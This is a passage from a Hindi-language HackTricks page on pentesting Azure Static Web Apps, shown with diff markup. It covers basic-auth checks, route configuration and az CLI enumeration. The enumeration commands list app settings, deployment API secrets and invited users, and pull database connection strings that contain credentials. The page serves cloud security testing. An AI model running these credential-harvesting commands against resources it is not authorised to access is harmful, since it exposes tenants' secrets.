<figure><img src="../../../images/azure_static_password.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
यह देखना संभव है **यदि कोई पासवर्ड उपयोग किया जा रहा है** और कौन से वातावरण सुरक्षित हैं:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "/subscriptions/<subscription-id>/resourceGroups/Resource_Group_1/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2024-04-01"
|
||||
```
|
||||
हालांकि, यह **पासवर्ड को स्पष्ट पाठ में नहीं दिखाएगा**, केवल कुछ इस तरह: `"password": "**********************"`।
|
||||
|
||||
### Routes
|
||||
|
||||
Routes **यह परिभाषित करते हैं कि आने वाले HTTP अनुरोधों को कैसे संभाला जाता है** एक स्थिर वेब ऐप के भीतर। **`staticwebapp.config.json`** फ़ाइल में कॉन्फ़िगर किए गए, वे URL पुनर्लेखन, पुनर्निर्देश, पहुँच प्रतिबंध, और भूमिका-आधारित प्राधिकरण को नियंत्रित करते हैं, उचित संसाधन प्रबंधन और सुरक्षा सुनिश्चित करते हैं।
|
||||
|
||||
कुछ उदाहरण:
|
||||
```json
|
||||
{
|
||||
"routes": [
|
||||
{
|
||||
"route": "/",
|
||||
"rewrite": "/index.html"
|
||||
},
|
||||
{
|
||||
"route": "/about",
|
||||
"rewrite": "/about.html"
|
||||
},
|
||||
{
|
||||
"route": "/api/*",
|
||||
"allowedRoles": ["authenticated"]
|
||||
},
|
||||
{
|
||||
"route": "/admin",
|
||||
"redirect": "/login",
|
||||
"statusCode": 302
|
||||
}
|
||||
],
|
||||
"navigationFallback": {
|
||||
"rewrite": "/index.html",
|
||||
"exclude": ["/api/*", "/assets/*"]
|
||||
}
|
||||
}
|
||||
```
|
||||
## Enumeration
|
||||
```bash
|
||||
# List Static Webapps
|
||||
az staticwebapp list --output table
|
||||
|
||||
# Get Static Webapp details
|
||||
az staticwebapp show --name <name> --resource-group <res-group> --output table
|
||||
|
||||
# Get appsettings
|
||||
az staticwebapp appsettings list --name <name>
|
||||
|
||||
# Get env information
|
||||
az staticwebapp environment list --name <name>
|
||||
az staticwebapp environment functions --name <name>
|
||||
|
||||
# Get API key
|
||||
az staticwebapp secrets list --name <name>
|
||||
|
||||
# Get invited users
|
||||
az staticwebapp users list --name <name>
|
||||
|
||||
# Get database connections
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/databaseConnections?api-version=2021-03-01"
|
||||
|
||||
## Once you have the database connection name ("default" by default) you can get the connection string with the credentials
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/databaseConnections/default/show?api-version=2021-03-01"
|
||||
```
|
||||
## Web Apps बनाने के उदाहरण
|
||||
|
||||
आप निम्नलिखित लिंक में एक अच्छा उदाहरण पा सकते हैं: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
|
||||
|
||||
1. रिपॉजिटरी https://github.com/staticwebdev/react-basic/generate को अपने GitHub खाते में फोर्क करें और इसका नाम `my-first-static-web-app` रखें
|
||||
2. Azure पोर्टल में एक Static Web App बनाएं, Github एक्सेस कॉन्फ़िगर करें और पहले फोर्क की गई नई रिपॉजिटरी का चयन करें
|
||||
3. इसे बनाएं, और कुछ मिनट प्रतीक्षा करें, और अपनी नई पृष्ठ की जांच करें!
|
||||
|
||||
## पोस्ट एक्सप्लोइटेशन
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-static-web-apps-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans](https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user